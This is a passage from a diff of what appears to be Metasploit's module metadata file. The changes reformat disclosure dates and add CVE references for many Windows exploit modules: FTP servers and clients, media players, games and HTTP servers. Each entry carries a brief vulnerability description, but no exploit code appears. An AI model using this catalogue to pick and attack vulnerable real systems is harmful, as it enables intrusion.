"disclosure_date": "2008-11-05", "type": "exploit", "author": [ "Tobias Klein", @@ -65946,7 +63917,7 @@ "name": "VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow", "full_name": "exploit/windows/fileformat/vlc_smb_uri", "rank": 500, - "disclosure_date": "2009-06-24 00:00:00 -0500", + "disclosure_date": "2009-06-24", "type": "exploit", "author": [ "jduck " @@ -65976,7 +63947,7 @@ "name": "VideoLAN VLC MKV Memory Corruption", "full_name": "exploit/windows/fileformat/vlc_webm", "rank": 400, - "disclosure_date": "2011-01-31 00:00:00 -0600", + "disclosure_date": "2011-01-31", "type": "exploit", "author": [ "Dan Rosenberg" @@ -66006,7 +63977,7 @@ "name": "VUPlayer CUE Buffer Overflow", "full_name": "exploit/windows/fileformat/vuplayer_cue", "rank": 400, - "disclosure_date": "2009-08-18 00:00:00 -0500", + "disclosure_date": "2009-08-18", "type": "exploit", "author": [ "MC " @@ -66033,7 +64004,7 @@ "name": "VUPlayer M3U Buffer Overflow", "full_name": "exploit/windows/fileformat/vuplayer_m3u", "rank": 400, - "disclosure_date": "2009-08-18 00:00:00 -0500", + "disclosure_date": "2009-08-18", "type": "exploit", "author": [ "MC " @@ -66060,7 +64031,7 @@ "name": "Watermark Master Buffer Overflow (SEH)", "full_name": "exploit/windows/fileformat/watermark_master", "rank": 300, - "disclosure_date": "2013-11-01 00:00:00 -0500", + "disclosure_date": "2013-11-01", "type": "exploit", "author": [ "metacom", @@ -66090,7 +64061,7 @@ "name": "Winamp MAKI Buffer Overflow", "full_name": "exploit/windows/fileformat/winamp_maki_bof", "rank": 300, - "disclosure_date": "2009-05-20 00:00:00 -0500", + "disclosure_date": "2009-05-20", "type": "exploit", "author": [ "Monica Sojeong Hong", @@ -66124,7 +64095,7 @@ "name": "WinRAR Filename Spoofing", "full_name": "exploit/windows/fileformat/winrar_name_spoofing", "rank": 600, - "disclosure_date": "2009-09-28 00:00:00 -0500", + "disclosure_date": "2009-09-28", "type": "exploit", "author": [ "chr1x", @@ -66154,7 +64125,7 @@ "name": "Wireshark wiretap/mpeg.c Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/wireshark_mpeg_overflow", "rank": 400, - "disclosure_date": "2014-03-20 00:00:00 -0500", + "disclosure_date": "2014-03-20", "type": "exploit", "author": [ "Wesley Neelen", @@ -66185,7 +64156,7 @@ "name": "Wireshark packet-dect.c Stack Buffer Overflow (local)", "full_name": "exploit/windows/fileformat/wireshark_packet_dect", "rank": 400, - "disclosure_date": "2011-04-18 00:00:00 -0500", + "disclosure_date": "2011-04-18", "type": "exploit", "author": [ "Paul Makowski", @@ -66217,7 +64188,7 @@ "name": "WM Downloader 3.1.2.2 Buffer Overflow", "full_name": "exploit/windows/fileformat/wm_downloader_m3u", "rank": 300, - "disclosure_date": "2010-07-28 00:00:00 -0500", + "disclosure_date": "2010-07-28", "type": "exploit", "author": [ "fdisk", @@ -66245,7 +64216,7 @@ "name": "Xenorate 2.50 (.xpl) Universal Local Buffer Overflow (SEH)", "full_name": "exploit/windows/fileformat/xenorate_xpl_bof", "rank": 500, - "disclosure_date": "2009-08-19 00:00:00 -0500", + "disclosure_date": "2009-08-19", "type": "exploit", "author": [ "hack4love ", @@ -66275,7 +64246,7 @@ "name": "Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/xion_m3u_sehbof", "rank": 500, - "disclosure_date": "2010-11-23 00:00:00 -0600", + "disclosure_date": "2010-11-23", "type": "exploit", "author": [ "hadji samir ", @@ -66308,7 +64279,7 @@ "name": "xRadio 0.95b Buffer Overflow", "full_name": "exploit/windows/fileformat/xradio_xrl_sehbof", "rank": 300, - "disclosure_date": "2011-02-08 00:00:00 -0600", + "disclosure_date": "2011-02-08", "type": "exploit", "author": [ "b0telh0 " @@ -66336,7 +64307,7 @@ "name": "Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/zinfaudioplayer221_pls", "rank": 400, - "disclosure_date": "2004-09-24 00:00:00 -0500", + "disclosure_date": "2004-09-24", "type": "exploit", "author": [ "Trancek ", @@ -66366,7 +64337,7 @@ "name": "ISS PAM.dll ICQ Parser Buffer Overflow", "full_name": "exploit/windows/firewall/blackice_pam_icq", "rank": 500, - "disclosure_date": "2004-03-18 00:00:00 -0600", + "disclosure_date": "2004-03-18", "type": "exploit", "author": [ "spoonm " @@ -66416,7 +64387,7 @@ "name": "Kerio Firewall 2.1.4 Authentication Packet Overflow", "full_name": "exploit/windows/firewall/kerio_auth", "rank": 200, - "disclosure_date": "2003-04-28 00:00:00 -0500", + "disclosure_date": "2003-04-28", "type": "exploit", "author": [ "MC " @@ -66446,7 +64417,7 @@ "name": "32bit FTP Client Stack Buffer Overflow ", "full_name": "exploit/windows/ftp/32bitftp_list_reply", "rank": 400, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "fancy", @@ -66474,7 +64445,7 @@ "name": "3Com 3CDaemon 2.0 FTP Username Overflow", "full_name": "exploit/windows/ftp/3cdaemon_ftp_user", "rank": 200, - "disclosure_date": "2005-01-04 00:00:00 -0600", + "disclosure_date": "2005-01-04", "type": "exploit", "author": [ "hdm ", @@ -66509,7 +64480,7 @@ "name": "AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)", "full_name": "exploit/windows/ftp/aasync_list_reply", "rank": 400, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "corelanc0d3r " @@ -66537,7 +64508,7 @@ "name": "Ability Server 2.34 STOR Command Stack Buffer Overflow", "full_name": "exploit/windows/ftp/ability_server_stor", "rank": 300, - "disclosure_date": "2004-10-22 00:00:00 -0500", + "disclosure_date": "2004-10-22", "type": "exploit", "author": [ "muts", @@ -66569,7 +64540,7 @@ "name": "AbsoluteFTP 1.9.6 - 2.2.10 LIST Command Remote Buffer Overflow", "full_name": "exploit/windows/ftp/absolute_ftp_list_bof", "rank": 300, - "disclosure_date": "2011-11-09 00:00:00 -0600", + "disclosure_date": "2011-11-09", "type": "exploit", "author": [ "Node" @@ -66597,7 +64568,7 @@ "name": "Ayukov NFTP FTP Client Buffer Overflow", "full_name": "exploit/windows/ftp/ayukov_nftp", "rank": 300, - "disclosure_date": "2017-10-21 00:00:00 -0500", + "disclosure_date": "2017-10-21", "type": "exploit", "author": [ "Berk Cem Goksel", @@ -66626,7 +64597,7 @@ "name": "BisonWare BisonFTP Server Buffer Overflow", "full_name": "exploit/windows/ftp/bison_ftp_bof", "rank": 300, - "disclosure_date": "2011-08-07 00:00:00 -0500", + "disclosure_date": "2011-08-07", "type": "exploit", "author": [ "localh0t", @@ -66657,7 +64628,7 @@ "name": "Cesar FTP 0.99g MKD Command Buffer Overflow", "full_name": "exploit/windows/ftp/cesarftp_mkd", "rank": 200, - "disclosure_date": "2006-06-12 00:00:00 -0500", + "disclosure_date": "2006-06-12", "type": "exploit", "author": [ "MC " @@ -66689,7 +64660,7 @@ "name": "ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability", "full_name": "exploit/windows/ftp/comsnd_ftpd_fmtstr", "rank": 400, - "disclosure_date": "2012-06-08 00:00:00 -0500", + "disclosure_date": "2012-06-08", "type": "exploit", "author": [ "ChaoYi Huang ", @@ -66721,7 +64692,7 @@ "name": "BolinTech Dream FTP Server 1.02 Format String", "full_name": "exploit/windows/ftp/dreamftp_format", "rank": 400, - "disclosure_date": "2004-03-03 00:00:00 -0600", + "disclosure_date": "2004-03-03", "type": "exploit", "author": [ "aushack " @@ -66750,7 +64721,7 @@ "name": "Easy File Sharing FTP Server 2.0 PASS Overflow", "full_name": "exploit/windows/ftp/easyfilesharing_pass", "rank": 200, - "disclosure_date": "2006-07-31 00:00:00 -0500", + "disclosure_date": "2006-07-31", "type": "exploit", "author": [ "MC " @@ -66779,7 +64750,7 @@ "name": "EasyFTP Server CWD Command Stack Buffer Overflow", "full_name": "exploit/windows/ftp/easyftp_cwd_fixret", "rank": 500, - "disclosure_date": "2010-02-16 00:00:00 -0600", + "disclosure_date": "2010-02-16", "type": "exploit", "author": [ "Paul Makowski ", @@ -66819,7 +64790,7 @@ "name": "EasyFTP Server LIST Command Stack Buffer Overflow", "full_name": "exploit/windows/ftp/easyftp_list_fixret", "rank": 500, - "disclosure_date": "2010-07-05 00:00:00 -0500", + "disclosure_date": "2010-07-05", "type": "exploit", "author": [ "Karn Ganeshan ", @@ -66849,7 +64820,7 @@ "name": "EasyFTP Server MKD Command Stack Buffer Overflow", "full_name": "exploit/windows/ftp/easyftp_mkd_fixret", "rank": 500, - "disclosure_date": "2010-04-04 00:00:00 -0500", + "disclosure_date": "2010-04-04", "type": "exploit", "author": [ "x90c ", @@ -66887,7 +64858,7 @@ "name": "FileCopa FTP Server Pre 18 Jul Version", "full_name": "exploit/windows/ftp/filecopa_list_overflow", "rank": 200, - "disclosure_date": "2006-07-19 00:00:00 -0500", + "disclosure_date": "2006-07-19", "type": "exploit", "author": [ "Jacopo Cervini" @@ -66916,7 +64887,7 @@ "name": "FileWrangler 5.30 Stack Buffer Overflow", "full_name": "exploit/windows/ftp/filewrangler_list_reply", "rank": 400, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "nullthreat", @@ -66944,7 +64915,7 @@ "name": "Free Float FTP Server USER Command Buffer Overflow", "full_name": "exploit/windows/ftp/freefloatftp_user", "rank": 300, - "disclosure_date": "2012-06-12 00:00:00 -0500", + "disclosure_date": "2012-06-12", "type": "exploit", "author": [ "D35m0nd142", @@ -66972,7 +64943,7 @@ "name": "FreeFloat FTP Server Arbitrary File Upload", "full_name": "exploit/windows/ftp/freefloatftp_wbem", "rank": 600, - "disclosure_date": "2012-12-07 00:00:00 -0600", + "disclosure_date": "2012-12-07", "type": "exploit", "author": [ "sinn3r ", @@ -67000,7 +64971,7 @@ "name": "freeFTPd PASS Command Buffer Overflow", "full_name": "exploit/windows/ftp/freeftpd_pass", "rank": 300, - "disclosure_date": "2013-08-20 00:00:00 -0500", + "disclosure_date": "2013-08-20", "type": "exploit", "author": [ "Wireghoul", @@ -67029,7 +65000,7 @@ "name": "freeFTPd 1.0 Username Overflow", "full_name": "exploit/windows/ftp/freeftpd_user", "rank": 200, - "disclosure_date": "2005-11-16 00:00:00 -0600", + "disclosure_date": "2005-11-16", "type": "exploit", "author": [ "MC " @@ -67061,7 +65032,7 @@ "name": "FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)", "full_name": "exploit/windows/ftp/ftpgetter_pwd_reply", "rank": 400, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "ekse", @@ -67089,7 +65060,7 @@ "name": "FTPPad 1.2.0 Stack Buffer Overflow", "full_name": "exploit/windows/ftp/ftppad_list_reply", "rank": 400, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "corelanc0d3r" @@ -67118,7 +65089,7 @@ "name": "FTPShell 5.1 Stack Buffer Overflow", "full_name": "exploit/windows/ftp/ftpshell51_pwd_reply", "rank": 400, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "corelanc0d3r " @@ -67145,7 +65116,7 @@ "name": "FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow", "full_name": "exploit/windows/ftp/ftpshell_cli_bof", "rank": 300, - "disclosure_date": "2017-03-04 00:00:00 +0000", + "disclosure_date": "2017-03-04", "type": "exploit", "author": [ "r4wd3r", @@ -67173,7 +65144,7 @@ "name": "FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow", "full_name": "exploit/windows/ftp/ftpsynch_list_reply", "rank": 400, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "myne-us", @@ -67200,7 +65171,7 @@ "name": "Gekko Manager FTP Client Stack Buffer Overflow", "full_name": "exploit/windows/ftp/gekkomgr_list_reply", "rank": 400, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "nullthreat", @@ -67228,7 +65199,7 @@ "name": "GlobalSCAPE Secure FTP Server Input Overflow", "full_name": "exploit/windows/ftp/globalscapeftp_input", "rank": 500, - "disclosure_date": "2005-05-01 00:00:00 -0500", + "disclosure_date": "2005-05-01", "type": "exploit", "author": [ "Fairuzan Roslan ", @@ -67258,7 +65229,7 @@ "name": "GoldenFTP PASS Stack Buffer Overflow", "full_name": "exploit/windows/ftp/goldenftp_pass_bof", "rank": 200, - "disclosure_date": "2011-01-23 00:00:00 -0600", + "disclosure_date": "2011-01-23", "type": "exploit", "author": [ "Craig Freyman", @@ -67292,7 +65263,7 @@ "name": "HTTPDX tolog() Function Format String Vulnerability", "full_name": "exploit/windows/ftp/httpdx_tolog_format", "rank": 500, - "disclosure_date": "2009-11-17 00:00:00 -0600", + "disclosure_date": "2009-11-17", "type": "exploit", "author": [ "jduck " @@ -67324,7 +65295,7 @@ "name": "Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow", "full_name": "exploit/windows/ftp/kmftp_utility_cwd", "rank": 300, - "disclosure_date": "2015-08-23 00:00:00 -0500", + "disclosure_date": "2015-08-23", "type": "exploit", "author": [ "Shankar Damodaran", @@ -67332,6 +65303,7 @@ ], "description": "This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.\n Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which\n leads to an SEH overflow. Konica FTP allows anonymous access by default; valid\n credentials are typically unnecessary to exploit this vulnerability.", "references": [ + "CVE-2015-7768", "EBD-37908" ], "is_server": true, @@ -67351,7 +65323,7 @@ "name": "LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow", "full_name": "exploit/windows/ftp/labf_nfsaxe", "rank": 300, - "disclosure_date": "2017-05-15 00:00:00 -0500", + "disclosure_date": "2017-05-15", "type": "exploit", "author": [ "Tulpa", @@ -67359,6 +65331,7 @@ ], "description": "This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote\n code execution.", "references": [ + "CVE-2017-18047", "EDB-42011" ], "is_server": false, @@ -67378,7 +65351,7 @@ "name": "LeapFTP 3.0.1 Stack Buffer Overflow", "full_name": "exploit/windows/ftp/leapftp_list_reply", "rank": 400, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "corelanc0d3r ", @@ -67406,7 +65379,7 @@ "name": "LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow", "full_name": "exploit/windows/ftp/leapftp_pasv_reply", "rank": 300, - "disclosure_date": "2003-06-09 00:00:00 -0500", + "disclosure_date": "2003-06-09", "type": "exploit", "author": [ "aushack " @@ -67437,7 +65410,7 @@ "name": "MS09-053 Microsoft IIS FTP Server NLST Response Overflow", "full_name": "exploit/windows/ftp/ms09_053_ftpd_nlst", "rank": 500, - "disclosure_date": "2009-08-31 00:00:00 -0500", + "disclosure_date": "2009-08-31", "type": "exploit", "author": [ "Kingcope ", @@ -67470,7 +65443,7 @@ "name": "NetTerm NetFTPD USER Buffer Overflow", "full_name": "exploit/windows/ftp/netterm_netftpd_user", "rank": 500, - "disclosure_date": "2005-04-26 00:00:00 -0500", + "disclosure_date": "2005-04-26", "type": "exploit", "author": [ "hdm " @@ -67503,7 +65476,7 @@ "name": "Odin Secure FTP 4.1 Stack Buffer Overflow (LIST)", "full_name": "exploit/windows/ftp/odin_list_reply", "rank": 400, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "rick2600", @@ -67531,7 +65504,7 @@ "name": "Open-FTPD 1.2 Arbitrary File Upload", "full_name": "exploit/windows/ftp/open_ftpd_wbem", "rank": 600, - "disclosure_date": "2012-06-18 00:00:00 -0500", + "disclosure_date": "2012-06-18", "type": "exploit", "author": [ "Serge Gorbunov", @@ -67560,7 +65533,7 @@ "name": "Oracle 9i XDB FTP PASS Overflow (win32)", "full_name": "exploit/windows/ftp/oracle9i_xdb_ftp_pass", "rank": 500, - "disclosure_date": "2003-08-18 00:00:00 -0500", + "disclosure_date": "2003-08-18", "type": "exploit", "author": [ "MC " @@ -67589,7 +65562,7 @@ "name": "Oracle 9i XDB FTP UNLOCK Overflow (win32)", "full_name": "exploit/windows/ftp/oracle9i_xdb_ftp_unlock", "rank": 500, - "disclosure_date": "2003-08-18 00:00:00 -0500", + "disclosure_date": "2003-08-18", "type": "exploit", "author": [ "MC ", @@ -67619,7 +65592,7 @@ "name": "PCMAN FTP Server Buffer Overflow - PUT Command", "full_name": "exploit/windows/ftp/pcman_put", "rank": 300, - "disclosure_date": "2015-08-07 00:00:00 -0500", + "disclosure_date": "2015-08-07", "type": "exploit", "author": [ "Jay Turla", @@ -67627,6 +65600,7 @@ ], "description": "This module exploits a buffer overflow vulnerability found in the PUT command of the\n PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous\n credentials are enabled.", "references": [ + "CVE-2013-4730", "EDB-37731", "OSVDB-94624" ], @@ -67647,7 +65621,7 @@ "name": "PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow", "full_name": "exploit/windows/ftp/pcman_stor", "rank": 300, - "disclosure_date": "2013-06-27 00:00:00 -0500", + "disclosure_date": "2013-06-27", "type": "exploit", "author": [ "Christian (Polunchis) Ramirez", @@ -67655,6 +65629,7 @@ ], "description": "This module exploits a buffer overflow vulnerability found in the STOR command of the\n PCMAN FTP v2.07 Server when the \"/../\" parameters are also sent to the server. Please\n note authentication is required in order to trigger the vulnerability. The overflowing\n string will also be seen on the FTP server log console.", "references": [ + "CVE-2013-4730", "OSVDB-94624", "EDB-27703" ], @@ -67675,7 +65650,7 @@ "name": "ProFTP 2.9 Banner Remote Buffer Overflow", "full_name": "exploit/windows/ftp/proftp_banner", "rank": 300, - "disclosure_date": "2009-08-25 00:00:00 -0500", + "disclosure_date": "2009-08-25", "type": "exploit", "author": [ "His0k4 " @@ -67703,7 +65678,7 @@ "name": "QuickShare File Server 1.2.1 Directory Traversal Vulnerability", "full_name": "exploit/windows/ftp/quickshare_traversal_write", "rank": 600, - "disclosure_date": "2011-02-03 00:00:00 -0600", + "disclosure_date": "2011-02-03", "type": "exploit", "author": [ "modpr0be", @@ -67733,7 +65708,7 @@ "name": "Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow", "full_name": "exploit/windows/ftp/ricoh_dl_bof", "rank": 300, - "disclosure_date": "2012-03-01 00:00:00 -0600", + "disclosure_date": "2012-03-01", "type": "exploit", "author": [ "Julien Ahrens", @@ -67763,7 +65738,7 @@ "name": "Sami FTP Server LIST Command Buffer Overflow", "full_name": "exploit/windows/ftp/sami_ftpd_list", "rank": 100, - "disclosure_date": "2013-02-27 00:00:00 -0600", + "disclosure_date": "2013-02-27", "type": "exploit", "author": [ "superkojiman", @@ -67792,7 +65767,7 @@ "name": "KarjaSoft Sami FTP Server v2.02 USER Overflow", "full_name": "exploit/windows/ftp/sami_ftpd_user", "rank": 300, - "disclosure_date": "2006-01-24 00:00:00 -0600", + "disclosure_date": "2006-01-24", "type": "exploit", "author": [ "aushack " @@ -67832,7 +65807,7 @@ "name": "Sasser Worm avserve FTP PORT Buffer Overflow", "full_name": "exploit/windows/ftp/sasser_ftpd_port", "rank": 200, - "disclosure_date": "2004-05-10 00:00:00 -0500", + "disclosure_date": "2004-05-10", "type": "exploit", "author": [ "valsmith ", @@ -67861,7 +65836,7 @@ "name": "ScriptFTP LIST Remote Buffer Overflow", "full_name": "exploit/windows/ftp/scriptftp_list", "rank": 400, - "disclosure_date": "2011-10-12 00:00:00 -0500", + "disclosure_date": "2011-10-12", "type": "exploit", "author": [ "modpr0be", @@ -67892,7 +65867,7 @@ "name": "Seagull FTP v3.3 Build 409 Stack Buffer Overflow", "full_name": "exploit/windows/ftp/seagull_list_reply", "rank": 400, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "corelanc0d3r " @@ -67919,7 +65894,7 @@ "name": "Serv-U FTP Server Buffer Overflow", "full_name": "exploit/windows/ftp/servu_chmod", "rank": 300, - "disclosure_date": "2004-12-31 00:00:00 -0600", + "disclosure_date": "2004-12-31", "type": "exploit", "author": [ "theLightCosine " @@ -67948,7 +65923,7 @@ "name": "Serv-U FTPD MDTM Overflow", "full_name": "exploit/windows/ftp/servu_mdtm", "rank": 400, - "disclosure_date": "2004-02-26 00:00:00 -0600", + "disclosure_date": "2004-02-26", "type": "exploit", "author": [ "spoonm " @@ -67979,7 +65954,7 @@ "name": "SlimFTPd LIST Concatenation Overflow", "full_name": "exploit/windows/ftp/slimftpd_list_concat", "rank": 500, - "disclosure_date": "2005-07-21 00:00:00 -0500", + "disclosure_date": "2005-07-21", "type": "exploit", "author": [ "Fairuzan Roslan " @@ -68007,7 +65982,7 @@ "name": "Trellian FTP Client 3.01 PASV Remote Buffer Overflow", "full_name": "exploit/windows/ftp/trellian_client_pasv", "rank": 300, - "disclosure_date": "2010-04-11 00:00:00 -0500", + "disclosure_date": "2010-04-11", "type": "exploit", "author": [ "zombiefx", @@ -68036,7 +66011,7 @@ "name": "Turbo FTP Server 1.30.823 PORT Overflow", "full_name": "exploit/windows/ftp/turboftp_port", "rank": 500, - "disclosure_date": "2012-10-03 00:00:00 -0500", + "disclosure_date": "2012-10-03", "type": "exploit", "author": [ "Zhao Liang", @@ -68068,7 +66043,7 @@ "name": "Vermillion FTP Daemon PORT Command Memory Corruption", "full_name": "exploit/windows/ftp/vermillion_ftpd_port", "rank": 500, - "disclosure_date": "2009-09-23 00:00:00 -0500", + "disclosure_date": "2009-09-23", "type": "exploit", "author": [ "jduck " @@ -68096,7 +66071,7 @@ "name": "War-FTPD 1.65 Password Overflow", "full_name": "exploit/windows/ftp/warftpd_165_pass", "rank": 200, - "disclosure_date": "1998-03-19 00:00:00 -0600", + "disclosure_date": "1998-03-19", "type": "exploit", "author": [ "hdm " @@ -68124,7 +66099,7 @@ "name": "War-FTPD 1.65 Username Overflow", "full_name": "exploit/windows/ftp/warftpd_165_user", "rank": 200, - "disclosure_date": "1998-03-19 00:00:00 -0600", + "disclosure_date": "1998-03-19", "type": "exploit", "author": [ "Fairuzan Roslan " @@ -68156,7 +66131,7 @@ "name": "Texas Imperial Software WFTPD 3.23 SIZE Overflow", "full_name": "exploit/windows/ftp/wftpd_size", "rank": 200, - "disclosure_date": "2006-08-23 00:00:00 -0500", + "disclosure_date": "2006-08-23", "type": "exploit", "author": [ "MC " @@ -68186,7 +66161,7 @@ "name": "WinaXe 7.7 FTP Client Remote Buffer Overflow", "full_name": "exploit/windows/ftp/winaxe_server_ready", "rank": 400, - "disclosure_date": "2016-11-03 00:00:00 -0500", + "disclosure_date": "2016-11-03", "type": "exploit", "author": [ "Chris Higgins", @@ -68214,7 +66189,7 @@ "name": "Wing FTP Server Authenticated Command Execution", "full_name": "exploit/windows/ftp/wing_ftp_admin_exec", "rank": 600, - "disclosure_date": "2014-06-19 00:00:00 -0500", + "disclosure_date": "2014-06-19", "type": "exploit", "author": [ "Nicholas Nam " @@ -68240,7 +66215,7 @@ "name": "WS-FTP Server 5.03 MKD Overflow", "full_name": "exploit/windows/ftp/wsftp_server_503_mkd", "rank": 500, - "disclosure_date": "2004-11-29 00:00:00 -0600", + "disclosure_date": "2004-11-29", "type": "exploit", "author": [ "et ", @@ -68269,7 +66244,7 @@ "name": "Ipswitch WS_FTP Server 5.05 XMD5 Overflow", "full_name": "exploit/windows/ftp/wsftp_server_505_xmd5", "rank": 200, - "disclosure_date": "2006-09-14 00:00:00 -0500", + "disclosure_date": "2006-09-14", "type": "exploit", "author": [ "MC " @@ -68299,7 +66274,7 @@ "name": "Xftp FTP Client 3.0 PWD Remote Buffer Overflow", "full_name": "exploit/windows/ftp/xftp_client_pwd", "rank": 300, - "disclosure_date": "2010-04-22 00:00:00 -0500", + "disclosure_date": "2010-04-22", "type": "exploit", "author": [ "zombiefx", @@ -68327,7 +66302,7 @@ "name": "Xlink FTP Client Buffer Overflow", "full_name": "exploit/windows/ftp/xlink_client", "rank": 300, - "disclosure_date": "2009-10-03 00:00:00 -0500", + "disclosure_date": "2009-10-03", "type": "exploit", "author": [ "MC " @@ -68356,7 +66331,7 @@ "name": "Xlink FTP Server Buffer Overflow", "full_name": "exploit/windows/ftp/xlink_server", "rank": 400, - "disclosure_date": "2009-10-03 00:00:00 -0500", + "disclosure_date": "2009-10-03", "type": "exploit", "author": [ "MC " @@ -68384,7 +66359,7 @@ "name": "Medal of Honor Allied Assault getinfo Stack Buffer Overflow", "full_name": "exploit/windows/games/mohaa_getinfo", "rank": 500, - "disclosure_date": "2004-07-17 00:00:00 -0500", + "disclosure_date": "2004-07-17", "type": "exploit", "author": [ "Jacopo Cervini" @@ -68413,7 +66388,7 @@ "name": "Racer v0.5.3 Beta 5 Buffer Overflow", "full_name": "exploit/windows/games/racer_503beta5", "rank": 500, - "disclosure_date": "2008-08-10 00:00:00 -0500", + "disclosure_date": "2008-08-10", "type": "exploit", "author": [ "Trancek " @@ -68444,7 +66419,7 @@ "name": "Unreal Tournament 2004 \"secure\" Overflow (Win32)", "full_name": "exploit/windows/games/ut2004_secure", "rank": 400, - "disclosure_date": "2004-06-18 00:00:00 -0500", + "disclosure_date": "2004-06-18", "type": "exploit", "author": [ "stinko " @@ -68472,7 +66447,7 @@ "name": "Adobe RoboHelp Server 8 Arbitrary File Upload and Execute", "full_name": "exploit/windows/http/adobe_robohelper_authbypass", "rank": 600, - "disclosure_date": "2009-09-23 00:00:00 -0500", + "disclosure_date": "2009-09-23", "type": "exploit", "author": [ "MC " @@ -68501,7 +66476,7 @@ "name": "Alt-N SecurityGateway username Buffer Overflow", "full_name": "exploit/windows/http/altn_securitygateway", "rank": 200, - "disclosure_date": "2008-06-02 00:00:00 -0500", + "disclosure_date": "2008-06-02", "type": "exploit", "author": [ "jduck " @@ -68530,7 +66505,7 @@ "name": "Alt-N WebAdmin USER Buffer Overflow", "full_name": "exploit/windows/http/altn_webadmin", "rank": 200, - "disclosure_date": "2003-06-24 00:00:00 -0500", + "disclosure_date": "2003-06-24", "type": "exploit", "author": [ "MC " @@ -68563,7 +66538,7 @@ "name": "Amlibweb NetOpacs webquery.dll Stack Buffer Overflow", "full_name": "exploit/windows/http/amlibweb_webquerydll_app", "rank": 300, - "disclosure_date": "2010-08-03 00:00:00 -0500", + "disclosure_date": "2010-08-03", "type": "exploit", "author": [ "aushack " @@ -68591,7 +66566,7 @@ "name": "Apache Win32 Chunked Encoding", "full_name": "exploit/windows/http/apache_chunked", "rank": 400, - "disclosure_date": "2002-06-19 00:00:00 -0500", + "disclosure_date": "2002-06-19", "type": "exploit", "author": [ "hdm ", @@ -68632,7 +66607,7 @@ "name": "Apache Module mod_rewrite LDAP Protocol Buffer Overflow", "full_name": "exploit/windows/http/apache_mod_rewrite_ldap", "rank": 500, - "disclosure_date": "2006-07-28 00:00:00 -0500", + "disclosure_date": "2006-07-28", "type": "exploit", "author": [ "aushack " @@ -68664,7 +66639,7 @@ "name": "Apache mod_jk 1.2.20 Buffer Overflow", "full_name": "exploit/windows/http/apache_modjk_overflow", "rank": 500, - "disclosure_date": "2007-03-02 00:00:00 -0600", + "disclosure_date": "2007-03-02", "type": "exploit", "author": [ "Nicob " @@ -68693,7 +66668,7 @@ "name": "Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution", "full_name": "exploit/windows/http/avaya_ccr_imageupload_exec", "rank": 600, - "disclosure_date": "2012-06-28 00:00:00 -0500", + "disclosure_date": "2012-06-28", "type": "exploit", "author": [ "rgod ", @@ -68724,7 +66699,7 @@ "name": "BadBlue 2.5 EXT.dll Buffer Overflow", "full_name": "exploit/windows/http/badblue_ext_overflow", "rank": 500, - "disclosure_date": "2003-04-20 00:00:00 -0500", + "disclosure_date": "2003-04-20", "type": "exploit", "author": [ "acaro " @@ -68752,7 +66727,7 @@ "name": "BadBlue 2.72b PassThru Buffer Overflow", "full_name": "exploit/windows/http/badblue_passthru", "rank": 500, - "disclosure_date": "2007-12-10 00:00:00 -0600", + "disclosure_date": "2007-12-10", "type": "exploit", "author": [ "MC " @@ -68781,7 +66756,7 @@ "name": "BEA WebLogic JSESSIONID Cookie Value Overflow", "full_name": "exploit/windows/http/bea_weblogic_jsessionid", "rank": 400, - "disclosure_date": "2009-01-13 00:00:00 -0600", + "disclosure_date": "2009-01-13", "type": "exploit", "author": [ "pusscat " @@ -68809,7 +66784,7 @@ "name": "Oracle Weblogic Apache Connector POST Request Buffer Overflow", "full_name": "exploit/windows/http/bea_weblogic_post_bof", "rank": 500, - "disclosure_date": "2008-07-17 00:00:00 -0500", + "disclosure_date": "2008-07-17", "type": "exploit", "author": [ "KingCope", @@ -68841,7 +66816,7 @@ "name": "BEA Weblogic Transfer-Encoding Buffer Overflow", "full_name": "exploit/windows/http/bea_weblogic_transfer_encoding", "rank": 500, - "disclosure_date": "2008-09-09 00:00:00 -0500", + "disclosure_date": "2008-09-09", "type": "exploit", "author": [ "pusscat " @@ -68868,7 +66843,7 @@ "name": "Belkin Bulldog Plus Web Service Buffer Overflow", "full_name": "exploit/windows/http/belkin_bulldog", "rank": 200, - "disclosure_date": "2009-03-08 00:00:00 -0600", + "disclosure_date": "2009-03-08", "type": "exploit", "author": [ "MC " @@ -68896,7 +66871,7 @@ "name": "CA Arcserve D2D GWT RPC Credential Information Disclosure", "full_name": "exploit/windows/http/ca_arcserve_rpc_authbypass", 